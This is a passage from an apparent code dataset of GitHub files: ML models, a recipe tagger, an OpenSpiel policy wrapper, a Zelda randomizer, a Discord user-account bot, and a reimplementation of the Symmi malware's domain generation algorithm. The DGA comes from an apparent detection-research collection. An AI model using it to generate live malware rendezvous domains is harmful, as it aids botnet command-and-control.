name=\"gcn\", **kwargs):\n super(GCN, self).__init__(name=name, **kwargs)\n self.dimension = dimension\n self.weight_decay = weight_decay\n self.dropout = dropout\n self.adj = adj\n\n self.gc1 = GraphConvolution(self.adj, units=self.dimension, activation=tf.keras.backend.relu, dropout=self.dropout, l2=self.weight_decay, name='gc1')\n self.gc2 = GraphConvolution(self.adj, units=self.dimension, activation=tf.keras.backend.relu, dropout=self.dropout, l2=self.weight_decay, name='gc2')\n self.dense = Dense(units=num_classes, activation='softmax')\n\n def call(self, inputs):\n inputs = self.gc1(inputs)\n inputs = self.gc2(inputs)\n output = self.dense(inputs)\n\n return output\n", "source": "mpoiitis/GraphM-framework", "license": "MIT"}
+{"text": "\"\"\"\nModule containg all the necessary class for the package.\nFoodCategory is a Enum class representing the category of ingredient.\nCategorySynset is a class representing the wordnet synset of a category.\n\"\"\"\n\nfrom enum import Enum\n\nfrom nltk.corpus import wordnet\n\n\nclass FoodCategory(Enum):\n \"\"\"\n Enum class used to represent the category of ingredients.\n \"\"\"\n\n vegetable = 0\n fruit = 1\n legume = 2\n meat = 3\n egg = 4\n dairy = 5\n staple = 6\n condiment = 7\n nut = 8\n seafood = 9\n snack = 10\n mushroom = 11\n dessert = 12\n beverage = 13\n\n\nclass CategorySynset:\n \"\"\"\n Class used to represent the Wordnet Synset of catagories.\n\n Attributes\n ----------\n categories: list\n a list containing all synset of the above categories\n \"\"\"\n\n categories = [\n wordnet.synset(f\"{FoodCategory.vegetable.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.fruit.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.legume.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.meat.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.egg.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.dairy.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.staple.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.condiment.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.nut.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.seafood.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.snack.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.mushroom.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.dessert.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.beverage.name}.n.01\"),\n ]\n\n\nclass FoodCategoryWaterFootprint(Enum):\n \"\"\"\n Enum class used to represent the default water footprint\n of category of ingredients.\n \"\"\"\n\n vegetable = 354\n fruit = 962\n legume = 4055\n meat = 8623\n egg = 3265\n dairy = 3178\n staple = 1644\n condiment = 2364\n nut = 9063\n seafood = 2590\n snack = 2980\n mushroom = 322\n dessert = 3140\n beverage = 732\n", "source": "TurconiAndrea/recipe-tagger", "license": "MIT"}
+{"text": "# Copyright 2019 DeepMind Technologies Ltd. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Lint as: python3\n\"\"\"DQN as a policy.\n\nTreating RL Oracles as policies allows us to streamline their use with tabular\npolicies and other policies in OpenSpiel, and freely mix populations using\ndifferent types of oracles.\n\"\"\"\n\nfrom open_spiel.python import policy\nfrom open_spiel.python import rl_environment\nfrom open_spiel.python.algorithms import dqn\nfrom open_spiel.python.algorithms import policy_gradient_pytorch as policy_gradient\n\ndef rl_policy_factory(rl_class):\n \"\"\"Transforms an RL Agent into an OpenSpiel policy.\n\n Args:\n rl_class: An OpenSpiel class inheriting from 'rl_agent.AbstractAgent' such\n as policy_gradient.PolicyGradient or dqn.DQN.\n\n Returns:\n An RLPolicy class that wraps around an instance of rl_class to transform it\n into a policy.\n \"\"\"\n\n class RLPolicy(policy.Policy):\n \"\"\"A 'policy.Policy' wrapper around an 'rl_agent.AbstractAgent' instance.\"\"\"\n\n def __init__(self, env, player_id, **kwargs):\n \"\"\"Constructs an RL Policy.\n\n Args:\n env: An OpenSpiel RL Environment instance.\n player_id: The ID of the DQN policy's player.\n **kwargs: Various kwargs used to initialize rl_class.\n \"\"\"\n game = env.game\n\n super(RLPolicy, self).__init__(game, player_id)\n self._policy = rl_class(**{\"player_id\": player_id, **kwargs})\n\n self._frozen = False\n self._rl_class = rl_class\n self._env = env\n self._obs = {\n \"info_state\": [None] * self.game.num_players(),\n \"legal_actions\": [None] * self.game.num_players()\n }\n\n def get_time_step(self):\n time_step = self._env.get_time_step()\n return time_step\n\n def action_probabilities(self, state, player_id=None):\n cur_player = state.current_player() if player_id is None else player_id\n legal_actions = state.legal_actions(cur_player)\n\n step_type = rl_environment.StepType.LAST if state.is_terminal(\n ) else rl_environment.StepType.MID\n\n self._obs[\"current_player\"] = cur_player\n self._obs[\"info_state\"][cur_player] = (\n state.information_state_tensor(cur_player))\n self._obs[\"legal_actions\"][cur_player] = legal_actions\n\n # pylint: disable=protected-access\n rewards = state.rewards()\n if rewards:\n time_step = rl_environment.TimeStep(\n observations=self._obs, rewards=rewards,\n discounts=self._env._discounts, step_type=step_type)\n else:\n rewards = [0] * self._num_players\n time_step = rl_environment.TimeStep(\n observations=self._obs, rewards=rewards,\n discounts=self._env._discounts,\n step_type=rl_environment.StepType.FIRST)\n # pylint: enable=protected-access\n\n p = self._policy.step(time_step, is_evaluation=True).probs\n prob_dict = {action: p[action] for action in legal_actions}\n return prob_dict\n\n def step(self, time_step, is_evaluation=False):\n # The _frozen attribute freezes the weights of the current policy. This\n # effect is achieved by considering that we always are evaluating when the\n # current policy's weights are frozen. For more details, see the freeze()\n # method.\n is_evaluation = (is_evaluation) or (self._frozen)\n return self._policy.step(time_step, is_evaluation)\n\n def freeze(self):\n \"\"\"This method freezes the policy's weights.\n\n The weight freezing effect is implemented by preventing any training to\n take place through calls to the step function. The weights are therefore\n not effectively frozen, and unconventional calls may trigger weights\n training.\n\n The weight-freezing effect is especially needed in PSRO, where all\n policies that aren't being trained by the oracle must be static. Freezing\n trained policies permitted us not to change how 'step' was called when\n introducing self-play (By not changing 'is_evaluation' depending on the\n current player).\n \"\"\"\n self._frozen = True\n\n def unfreeze(self):\n self._frozen = False\n\n def is_frozen(self):\n return self._frozen\n\n def get_weights(self):\n return self._policy.get_weights()\n\n def copy_with_noise(self, sigma=0.0):\n copied_object = RLPolicy.__new__(RLPolicy)\n super(RLPolicy, copied_object).__init__(self.game, self.player_ids)\n setattr(copied_object, \"_rl_class\", self._rl_class)\n setattr(copied_object, \"_obs\", self._obs)\n setattr(copied_object, \"_policy\",\n self._policy.copy_with_noise(sigma=sigma))\n setattr(copied_object, \"_env\", self._env)\n copied_object.unfreeze()\n\n return copied_object\n\n return RLPolicy\n\n\n# Generating policy classes for Policy Gradient and DQN\n# pylint: disable=invalid-name\nPGPolicy = rl_policy_factory(policy_gradient.PolicyGradient)\nDQNPolicy = rl_policy_factory(dqn.DQN)\n# pylint: enable=invalid-name\n", "source": "julianstastny/open_spiel", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python3\nfrom dgacollection.DGAMalware import DGAMalware\n\n\"\"\"A few constants for the DGA.\n\nNumber of domains for a day, validity period for each domain, \nletters used, length of the third label and seed.\n\n\"\"\"\nseed_const = 42\ndays_period = 16\nnr_of_domains = 64\nthird_lvl_min_len = 8\nthird_lvl_max_len = 15\nletters = [\"aeiouy\", \"bcdfghklmnpqrstvwxz\"]\n\n\n\"\"\"Pseudo-random generator for Symmi.\n\n\"\"\"\nclass Rand:\n\n \"\"\"Constructor\n\n \"\"\"\n def __init__(self, seed):\n self.seed = seed\n\n \"\"\"Generates the next number depending only on the previous one.\n\n \"\"\"\n def rand(self):\n self.seed = (self.seed * 214013 + 2531011) & 0xFFFFFFFF\n return (self.seed >> 16) & 0x7FFF\n\n\n\"\"\"Domain Generation Algorithm for Symmi.\n\nSource:\n http://www.johannesbader.ch/2015/01/the-dga-of-symmi/\n Johannes Bader\n January 21, 2015\n\n\"\"\"\nclass Symmi(DGAMalware):\n\n @classmethod\n def domainsLifetime(self):\n return days_period * 24 * 3600\n\n @classmethod\n def domainsFor(self, date):\n seed = self.create_seed(date)\n return self.dga(seed, '.ddns.net', nr_of_domains)\n\n @classmethod\n def next_domain(self, r, second_and_top_lvl, third_lvl_domain_len):\n domain = \"\"\n for i in range(third_lvl_domain_len):\n if not i % 2:\n offset_1 = 0 if r.rand() & 0x100 == 0 else 1\n s = r.rand()\n offset = (offset_1 + i) % 2\n symbols = letters[offset]\n domain += symbols[s % (len(symbols) - 1)]\n return domain + second_and_top_lvl\n\n @classmethod\n def dga(self, seed, second_and_top_lvl, nr):\n r = Rand(seed)\n domains = []\n for i in range(nr):\n span = third_lvl_max_len - third_lvl_min_len + 1\n third_lvl_len = third_lvl_min_len + r.rand() % span\n domains.append(self.next_domain(r, second_and_top_lvl, third_lvl_len))\n return domains\n\n @classmethod\n def create_seed(self, date):\n return 10000 * (date.day // days_period * 100 + date.month) + date.year + seed_const\n\n \"\"\"\n Symmi's domains don't contain j, y or z letters.\n \"\"\"\n @classmethod\n def couldUseDomain(self, domain):\n if not domain.endswith('.ddns.net'):\n return False\n label = domain.split('.', 1)[0]\n if 'j' in label or 'y' in label or 'z' in label:\n return False\n return not any(char.isdigit() for char in domain)\n", "source": "pchaigno/dga-collection", "license": "MIT"}
+{"text": "from selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys #needed to press enter after the bot types the reply\r\nfrom bs4 import BeautifulSoup #awesome tool for extracting useful data from websites\r\nimport time #to add delay\r\nimport re # regular expressions, much more direct than BeautifulSoup, allows to find patterns within the text (it's a bit like a language on its own)\r\n\r\ndef GetSource(): # used to refresh the content\r\n global br # browser object\r\n elem = br.find_element_by_xpath(\"//*\") # get some kind of \"root\" element in order to get the actual source\r\n src = elem.get_attribute(\"outerHTML\")\r\n return src\r\n\r\ndef ParseMessage(msg): #used to remove things like: \r\n toBeRemoved = re.findall(r'<.+?>', msg) # find all the text between < and >\r\n for text in toBeRemoved: \r\n msg = msg.replace(text, \"\") # remove each occurence of the text found between < and > so only the actual message is left\r\n return msg\r\n\r\ndef GetComments():\r\n comments = []\r\n for comChunk in BeautifulSoup(GetSource(), \"lxml\").find_all(\"div\", class_=\"comment\"): # for each chunk of the code which covers 1 comment\r\n name = comChunk.find(\"strong\", class_=\"user-name\").string #find username of the one who posted it\r\n msg=[] # define new list\r\n \r\n for addMsgChunk in comChunk.find_all(\"div\", class_=\"message\"): # each \"comment\" may consist of several messages if the same person posts few messages in a row, this loop adds them all together into 1 class\r\n msg.append(ParseMessage(repr(addMsgChunk.find(\"div\", class_=\"markup\")))) # appends messages into 1 comment\r\n \r\n comments.append({\"name\":name, \"msg\":msg}) # appends comments and names into 1 full list\r\n return comments\r\n\r\ndef GetCurrentMsg():\r\n coms = GetComments()\r\n return coms[-1][\"name\"], coms[-1][\"msg\"][-1]\r\n\r\ndef SendMsg(msg):\r\n global br # br is a browser object\r\n entry = br.find_element_by_xpath('//*[@id=\"app-mount\"]/div/div[2]/div/div[2]/div/section/div[3]/div[2]/div[1]/form/div/div/textarea') # get the text input element\r\n entry.send_keys(msg) # write characters into text input\r\n entry.send_keys(Keys.RETURN) # press enter\r\n\r\n\r\nbr = webdriver.Chrome()\r\n#br.get(\"https://discord.gg/VxGFHY4\")\r\nbr.get(\"https://discordapp.com/channels/265199259291222016/265199259291222016\")\r\n\r\nraw_input(\"Press enter when discord is ready...\")\r\n\r\n\r\nlastName=\"\"\r\nlastMsg=\"\"\r\nwhile True:\r\n time.sleep(0.2)\r\n try:\r\n name, msg = GetCurrentMsg()\r\n if msg.startswith(\"@Nicolas Cage\"):\r\n if name != lastName:\r\n if msg.endswith(\"help\"):\r\n reply = \"```Nicolas Cage V0.1 Documentation\\nUSAGE: @Nicolas Cage\\nCopyright: Nicolas Cage\\nAuthor: Nicolas Cage\\nSpecial thanks to Nicolas for testing```\"\r\n else:\r\n reply = \"http://i2.kym-cdn.com/entries/icons/original/000/006/993/1817.jpg\"\r\n \r\n SendMsg(reply)\r\n lastName = name\r\n except Exception as e:\r\n print \"Error: \" + repr(e)\r\n\r\n \r\n''' #shows the latest message\r\ncm = GetCurrentMsg(GetSource())\r\nprint cm[\"name\"] + \": \" + cm[\"msg\"][len(cm[\"msg\"])-1]\r\n'''\r\n\r\n''' saves source of the website to a file\r\nsoup = BeautifulSoup(source, \"lxml\")\r\nsoup.find(\"div\", class_=\"messages-wrapper\")\r\nwith open(\"src.html\", \"wb\") as f:\r\n f.write(BeautifulSoup(source, \"lxml\").prettify().encode(\"utf-8\")) # prettify() function adds identation to the text so it looks nice and clean in the output\r\n'''\r\n\r\n\r\n", "source": "michalmonday/Discord-bot-user-account-", "license": "MIT"}
+{"text": "import random\n\nfrom BaseClasses import Dungeon\nfrom Bosses import BossFactory\nfrom Fill import fill_restrictive\nfrom Items import ItemFactory\n\n\ndef create_dungeons(world, player):\n def make_dungeon(name, id, default_boss, dungeon_regions, big_key, small_keys, dungeon_items):\n dungeon = Dungeon(name, dungeon_regions, big_key, [] if world.retro[player] else small_keys,\n dungeon_items, player, id)\n dungeon.boss = BossFactory(default_boss, player)\n for region in dungeon.regions:\n world.get_region(region, player).dungeon = dungeon\n dungeon.world = world\n return dungeon\n\n ES = make_dungeon('Hyrule Castle', 1, None, hyrule_castle_regions, None, [ItemFactory('Small Key (Escape)', player)], [ItemFactory('Map (Escape)', player)])\n EP = make_dungeon('Eastern Palace', 2, 'Armos Knights', eastern_regions, ItemFactory('Big Key (Eastern Palace)', player), [], ItemFactory(['Map (Eastern Palace)', 'Compass (Eastern Palace)'], player))\n DP = make_dungeon('Desert Palace', 3, 'Lanmolas', desert_regions, ItemFactory('Big Key (Desert Palace)', player), [ItemFactory('Small Key (Desert Palace)', player)], ItemFactory(['Map (Desert Palace)', 'Compass (Desert Palace)'], player))\n ToH = make_dungeon('Tower of Hera', 10, 'Moldorm', hera_regions, ItemFactory('Big Key (Tower of Hera)', player), [ItemFactory('Small Key (Tower of Hera)', player)], ItemFactory(['Map (Tower of Hera)', 'Compass (Tower of Hera)'], player))\n PoD = make_dungeon('Palace of Darkness', 6, 'Helmasaur King', pod_regions, ItemFactory('Big Key (Palace of Darkness)', player), ItemFactory(['Small Key (Palace of Darkness)'] * 6, player), ItemFactory(['Map (Palace of Darkness)', 'Compass (Palace of Darkness)'], player))\n TT = make_dungeon('Thieves Town', 11, 'Blind', thieves_regions, ItemFactory('Big Key (Thieves Town)', player), [ItemFactory('Small Key (Thieves Town)', player)], ItemFactory(['Map (Thieves Town)', 'Compass (Thieves Town)'], player))\n SW = make_dungeon('Skull Woods', 8, 'Mothula', skull_regions, ItemFactory('Big Key (Skull Woods)', player), ItemFactory(['Small Key (Skull Woods)'] * 3, player), ItemFactory(['Map (Skull Woods)', 'Compass (Skull Woods)'], player))\n SP = make_dungeon('Swamp Palace', 5, 'Arrghus', swamp_regions, ItemFactory('Big Key (Swamp Palace)', player), [ItemFactory('Small Key (Swamp Palace)', player)], ItemFactory(['Map (Swamp Palace)', 'Compass (Swamp Palace)'], player))\n IP = make_dungeon('Ice Palace', 9, 'Kholdstare', ice_regions, ItemFactory('Big Key (Ice Palace)', player), ItemFactory(['Small Key (Ice Palace)'] * 2, player), ItemFactory(['Map (Ice Palace)', 'Compass (Ice Palace)'], player))\n MM = make_dungeon('Misery Mire', 7, 'Vitreous', mire_regions, ItemFactory('Big Key (Misery Mire)', player), ItemFactory(['Small Key (Misery Mire)'] * 3, player), ItemFactory(['Map (Misery Mire)', 'Compass (Misery Mire)'], player))\n TR = make_dungeon('Turtle Rock', 12, 'Trinexx', tr_regions, ItemFactory('Big Key (Turtle Rock)', player), ItemFactory(['Small Key (Turtle Rock)'] * 4, player), ItemFactory(['Map (Turtle Rock)', 'Compass (Turtle Rock)'], player))\n AT = make_dungeon('Agahnims Tower', 4, 'Agahnim', tower_regions, None, ItemFactory(['Small Key (Agahnims Tower)'] * 2, player), [])\n GT = make_dungeon('Ganons Tower', 13, 'Agahnim2', gt_regions, ItemFactory('Big Key (Ganons Tower)', player), ItemFactory(['Small Key (Ganons Tower)'] * 4, player), ItemFactory(['Map (Ganons Tower)', 'Compass (Ganons Tower)'], player))\n\n GT.bosses['bottom'] = BossFactory('Armos Knights', player)\n GT.bosses['middle'] = BossFactory('Lanmolas', player)\n GT.bosses['top'] = BossFactory('Moldorm', player)\n\n world.dungeons += [ES, EP, DP, ToH, AT, PoD, TT, SW, SP, IP, MM, TR, GT]\n\ndef fill_dungeons(world):\n freebes = ['Ganons Tower - Map Chest', 'Palace of Darkness - Harmless Hellway', 'Palace of Darkness - Big Key Chest', 'Turtle Rock - Big Key Chest']\n\n all_state_base = world.get_all_state()\n\n for player in range(1, world.players + 1):\n pinball_room = world.get_location('Skull Woods - Pinball Room', player)\n if world.retro[player]:\n world.push_item(pinball_room, ItemFactory('Small Key (Universal)', player), False)\n else:\n world.push_item(pinball_room, ItemFactory('Small Key (Skull Woods)', player), False)\n pinball_room.event = True\n pinball_room.locked = True\n\n dungeons = [(list(dungeon.regions), dungeon.big_key, list(dungeon.small_keys), list(dungeon.dungeon_items)) for dungeon in world.dungeons]\n\n loopcnt = 0\n while dungeons:\n loopcnt += 1\n dungeon_regions, big_key, small_keys, dungeon_items = dungeons.pop(0)\n # this is what we need to fill\n dungeon_locations = [location for location in world.get_unfilled_locations() if location.parent_region.name in dungeon_regions]\n random.shuffle(dungeon_locations)\n\n all_state = all_state_base.copy()\n\n # first place big key\n if big_key is not None:\n bk_location = None\n for location in dungeon_locations:\n if location.item_rule(big_key):\n bk_location = location\n break\n\n if bk_location is None:\n raise RuntimeError('No suitable location for %s' % big_key)\n\n world.push_item(bk_location, big_key, False)\n bk_location.event = True\n bk_location.locked = True\n dungeon_locations.remove(bk_location)\n big_key = None\n\n # next place small keys\n while small_keys:\n small_key = small_keys.pop()\n all_state.sweep_for_events()\n sk_location = None\n for location in dungeon_locations:\n if location.name in freebes or (location.can_reach(all_state) and location.item_rule(small_key)):\n sk_location = location\n break\n\n if sk_location is None:\n # need to retry this later\n small_keys.append(small_key)\n dungeons.append((dungeon_regions, big_key, small_keys, dungeon_items))\n # infinite regression protection\n if loopcnt < (30 * world.players):\n break\n else:\n raise RuntimeError('No suitable location for %s' % small_key)\n\n world.push_item(sk_location, small_key, False)\n sk_location.event = True\n sk_location.locked = True\n dungeon_locations.remove(sk_location)\n\n if small_keys:\n # key placement not finished, loop again\n continue\n\n # next place dungeon items\n for dungeon_item in dungeon_items:\n di_location = dungeon_locations.pop()\n world.push_item(di_location, dungeon_item, False)\n\n\ndef get_dungeon_item_pool(world):\n return [item for dungeon in world.dungeons for item in dungeon.all_items]\n\ndef fill_dungeons_restrictive(world, shuffled_locations):\n all_state_base = world.get_all_state()\n\n # for player in range(1, world.players + 1):\n # pinball_room = world.get_location('Skull Woods - Pinball Room', player)\n # if world.retro[player]:\n # world.push_item(pinball_room, ItemFactory('Small Key (Universal)', player), False)\n # else:\n # world.push_item(pinball_room, ItemFactory('Small Key (Skull Woods)', player), False)\n # pinball_room.event = True\n # pinball_room.locked = True\n # shuffled_locations.remove(pinball_room)\n\n # with shuffled dungeon items they are distributed as part of the normal item pool\n for item in world.get_items():\n if (item.smallkey and world.keyshuffle[item.player]) or (item.bigkey and world.bigkeyshuffle[item.player]):\n item.advancement = True\n elif (item.map and world.mapshuffle[item.player]) or (item.compass and world.compassshuffle[item.player]):\n item.priority = True\n\n dungeon_items = [item for item in get_dungeon_item_pool(world) if ((item.smallkey and not world.keyshuffle[item.player])\n or (item.bigkey and not world.bigkeyshuffle[item.player])\n or (item.map and not world.mapshuffle[item.player])\n or (item.compass and not world.compassshuffle[item.player]))]\n\n # sort in the order Big Key, Small Key, Other before placing dungeon items\n sort_order = {\"BigKey\": 3, \"SmallKey\": 2}\n dungeon_items.sort(key=lambda item: sort_order.get(item.type, 1))\n\n fill_restrictive(world, all_state_base, shuffled_locations, dungeon_items,\n keys_in_itempool={player: not world.keyshuffle[player] for player in range(1, world.players+1)}, single_player_placement=True)\n\n\ndungeon_music_addresses = {'Eastern Palace - Prize': [0x1559A],\n 'Desert Palace - Prize': [0x1559B, 0x1559C, 0x1559D, 0x1559E],\n 'Tower of Hera - Prize': [0x155C5, 0x1107A, 0x10B8C],\n 'Palace of Darkness - Prize': [0x155B8],\n 'Swamp Palace - Prize': [0x155B7],\n 'Thieves\\' Town - Prize': [0x155C6],\n 'Skull Woods - Prize': [0x155BA, 0x155BB, 0x155BC, 0x155BD, 0x15608, 0x15609, 0x1560A, 0x1560B],\n 'Ice Palace - Prize': [0x155BF],\n 'Misery Mire - Prize': [0x155B9],\n 'Turtle Rock - Prize': [0x155C7, 0x155A7, 0x155AA, 0x155AB]}\n\nhyrule_castle_regions = [\n 'Hyrule Castle Lobby', 'Hyrule Castle West Lobby', 'Hyrule Castle East Lobby', 'Hyrule Castle East Hall',\n 'Hyrule Castle West Hall', 'Hyrule Castle Back Hall', 'Hyrule Castle Throne Room', 'Hyrule Castle Behind Tapestry',\n 'Hyrule Dungeon Map Room', 'Hyrule Dungeon North Abyss', 'Hyrule Dungeon North Abyss Catwalk',\n 'Hyrule Dungeon South Abyss', 'Hyrule Dungeon South Abyss Catwalk', 'Hyrule Dungeon Guardroom',\n 'Hyrule Dungeon Armory Main', 'Hyrule Dungeon Armory Boomerang', 'Hyrule Dungeon Armory North Branch',\n 'Hyrule Dungeon Staircase', 'Hyrule Dungeon Cellblock', 'Hyrule Dungeon Cell', 'Sewers Behind Tapestry',\n 'Sewers Rope Room', 'Sewers Dark Cross', 'Sewers Water', 'Sewers Key Rat', 'Sewers Rat Path',\n 'Sewers Secret Room Blocked Path', 'Sewers Secret Room', 'Sewers Yet More Rats', 'Sewers Pull Switch', 'Sanctuary',\n 'Sanctuary Portal', 'Hyrule Castle West Portal', 'Hyrule Castle South Portal', 'Hyrule Castle East Portal'\n\n]\n\neastern_regions = [\n 'Eastern Lobby', 'Eastern Lobby Bridge', 'Eastern Lobby Left Ledge', 'Eastern Lobby Right Ledge',\n 'Eastern Cannonball', 'Eastern Cannonball Ledge', 'Eastern Courtyard Ledge', 'Eastern East Wing',\n 'Eastern Pot Switch', 'Eastern Map Balcony', 'Eastern Map Room', 'Eastern West Wing', 'Eastern Stalfos Spawn',\n 'Eastern Compass Room', 'Eastern Hint Tile', 'Eastern Hint Tile Blocked Path', 'Eastern Courtyard',\n 'Eastern Fairies', 'Eastern Map Valley', 'Eastern Dark Square', 'Eastern Dark Pots', 'Eastern Big Key',\n 'Eastern Darkness', 'Eastern Rupees', 'Eastern Attic Start', 'Eastern False Switches', 'Eastern Cannonball Hell',\n 'Eastern Single Eyegore', 'Eastern Duo Eyegores', 'Eastern Boss', 'Eastern Portal'\n]\n\ndesert_regions = [\n 'Desert Main Lobby', 'Desert Left Alcove', 'Desert Right Alcove', 'Desert Dead End', 'Desert East Lobby',\n 'Desert East Wing', 'Desert Compass Room', 'Desert Cannonball', 'Desert Arrow Pot Corner', 'Desert Trap Room',\n 'Desert North Hall', 'Desert Map Room', 'Desert Sandworm Corner', 'Desert Bonk Torch', 'Desert Circle of Pots',\n 'Desert Big Chest Room', 'Desert West Wing', 'Desert West Lobby', 'Desert Fairy Fountain', 'Desert Back Lobby',\n 'Desert Tiles 1', 'Desert Bridge', 'Desert Four Statues', 'Desert Beamos Hall', 'Desert Tiles 2',\n 'Desert Wall Slide', 'Desert Boss', 'Desert West Portal', 'Desert South Portal', 'Desert East Portal',\n 'Desert Back Portal'\n]\n\nhera_regions = [\n 'Hera Lobby', 'Hera Basement Cage', 'Hera Tile Room', 'Hera Tridorm', 'Hera Torches', 'Hera Beetles',\n 'Hera Startile Corner', 'Hera Startile Wide', 'Hera 4F', 'Hera Big Chest Landing', 'Hera 5F',\n 'Hera Fairies', 'Hera Boss', 'Hera Portal'\n]\n\ntower_regions = [\n 'Tower Lobby', 'Tower Gold Knights', 'Tower Room 03', 'Tower Lone Statue', 'Tower Dark Maze', 'Tower Dark Chargers',\n 'Tower Dual Statues', 'Tower Dark Pits', 'Tower Dark Archers', 'Tower Red Spears', 'Tower Red Guards',\n 'Tower Circle of Pots', 'Tower Pacifist Run', 'Tower Push Statue', 'Tower Catwalk', 'Tower Antechamber',\n 'Tower Altar', 'Tower Agahnim 1', 'Agahnims Tower Portal'\n]\n\npod_regions = [\n 'PoD Lobby', 'PoD Left Cage', 'PoD Middle Cage', 'PoD Shooter Room', 'PoD Pit Room', 'PoD Pit Room Blocked',\n 'PoD Arena Main', 'PoD Arena North', 'PoD Arena Crystal', 'PoD Arena Bridge', 'PoD Arena Ledge', 'PoD Sexy Statue',\n 'PoD Map Balcony', 'PoD Conveyor', 'PoD Mimics 1', 'PoD Jelly Hall', 'PoD Warp Hint', 'PoD Warp Room',\n 'PoD Stalfos Basement', 'PoD Basement Ledge', 'PoD Big Key Landing', 'PoD Falling Bridge',\n 'PoD Falling Bridge Ledge', 'PoD Dark Maze', 'PoD Big Chest Balcony', 'PoD Compass Room', 'PoD Dark Basement',\n 'PoD Harmless Hellway', 'PoD Mimics 2', 'PoD Bow Statue', 'PoD Dark Pegs', 'PoD Lonely Turtle', 'PoD Turtle Party',\n 'PoD Dark Alley', 'PoD Callback', 'PoD Boss', 'Palace of Darkness Portal'\n]\n\nswamp_regions = [\n 'Swamp Lobby', 'Swamp Entrance', 'Swamp Pot Row', 'Swamp Map Ledge', 'Swamp Trench 1 Approach',\n 'Swamp Trench 1 Nexus', 'Swamp Trench 1 Alcove', 'Swamp Trench 1 Key Ledge', 'Swamp Trench 1 Departure',\n 'Swamp Hammer Switch', 'Swamp Hub', 'Swamp Hub Dead Ledge', 'Swamp Hub North Ledge', 'Swamp Donut Top',\n 'Swamp Donut Bottom', 'Swamp Compass Donut', 'Swamp Crystal Switch', 'Swamp Shortcut', 'Swamp Trench 2 Pots',\n 'Swamp Trench 2 Blocks', 'Swamp Trench 2 Alcove', 'Swamp Trench 2 Departure', 'Swamp Big Key Ledge',\n 'Swamp West Shallows', 'Swamp West Block Path', 'Swamp West Ledge', 'Swamp Barrier Ledge', 'Swamp Barrier',\n 'Swamp Attic', 'Swamp Push Statue', 'Swamp Shooters', 'Swamp Left Elbow', 'Swamp Right Elbow', 'Swamp Drain Left',\n 'Swamp Drain Right', 'Swamp Flooded Room', 'Swamp Flooded Spot', 'Swamp Basement Shallows', 'Swamp Waterfall Room',\n 'Swamp Refill', 'Swamp Behind Waterfall', 'Swamp C', 'Swamp Waterway', 'Swamp I', 'Swamp T', 'Swamp Boss',\n 'Swamp Portal'\n]\n\nskull_regions = [\n 'Skull 1 Lobby', 'Skull Map Room', 'Skull Pot Circle', 'Skull Pull Switch', 'Skull Big Chest', 'Skull Pinball',\n 'Skull Pot Prison', 'Skull Compass Room', 'Skull Left Drop', 'Skull 2 East Lobby', 'Skull Big Key',\n 'Skull Lone Pot', 'Skull Small Hall', 'Skull Back Drop', 'Skull 2 West Lobby', 'Skull X Room', 'Skull 3 Lobby',\n 'Skull East Bridge', 'Skull West Bridge Nook', 'Skull Star Pits', 'Skull Torch Room', 'Skull Vines',\n 'Skull Spike Corner', 'Skull Final Drop', 'Skull Boss', 'Skull 1 Portal', 'Skull 2 East Portal',\n 'Skull 2 West Portal', 'Skull 3 Portal'\n]\n\nthieves_regions = [\n 'Thieves Lobby', 'Thieves Ambush', 'Thieves BK Corner', 'Thieves Rail Ledge', 'Thieves Compass Room',\n 'Thieves Big Chest Nook', 'Thieves Hallway', 'Thieves Boss', 'Thieves Pot Alcove Mid', 'Thieves Pot Alcove Bottom',\n 'Thieves Pot Alcove Top', 'Thieves Conveyor Maze', 'Thieves Spike Track', 'Thieves Hellway',\n 'Thieves Hellway N Crystal', 'Thieves Hellway S Crystal', 'Thieves Triple Bypass', 'Thieves Spike Switch',\n 'Thieves Attic', 'Thieves Attic Hint', 'Thieves Cricket Hall Left', 'Thieves Cricket Hall Right',\n 'Thieves Attic Window', 'Thieves Basement Block', 'Thieves Blocked Entry', 'Thieves Lonely Zazak',\n \"Thieves Blind's Cell\", \"Thieves Blind's Cell Interior\", 'Thieves Conveyor Bridge', 'Thieves Conveyor Block',\n 'Thieves Big Chest Room', 'Thieves Trap', 'Thieves Town Portal'\n]\n\nice_regions = [\n 'Ice Lobby', 'Ice Jelly Key', 'Ice Floor Switch', 'Ice Cross Left', 'Ice Cross Bottom', 'Ice Cross Right',\n 'Ice Cross Top', 'Ice Compass Room', 'Ice Pengator Switch', 'Ice Dead End', 'Ice Big Key', 'Ice Bomb Drop',\n 'Ice Stalfos Hint', 'Ice Conveyor', 'Ice Bomb Jump Ledge', 'Ice Bomb Jump Catwalk', 'Ice Narrow Corridor',\n 'Ice Pengator Trap', 'Ice Spike Cross', 'Ice Firebar', 'Ice Falling Square', 'Ice Spike Room', 'Ice Hammer Block',\n 'Ice Tongue Pull', 'Ice Freezors', 'Ice Freezors Ledge', 'Ice Tall Hint', 'Ice Hookshot Ledge',\n 'Ice Hookshot Balcony', 'Ice Spikeball', 'Ice Lonely Freezor', 'Iced T', 'Ice Catwalk', 'Ice Many Pots',\n 'Ice Crystal Right', 'Ice Crystal Left', 'Ice Crystal Block', 'Ice Big Chest View', 'Ice Big Chest Landing',\n 'Ice Backwards Room', 'Ice Anti-Fairy', 'Ice Switch Room', 'Ice Refill', 'Ice Fairy', 'Ice Antechamber', 'Ice Boss',\n 'Ice 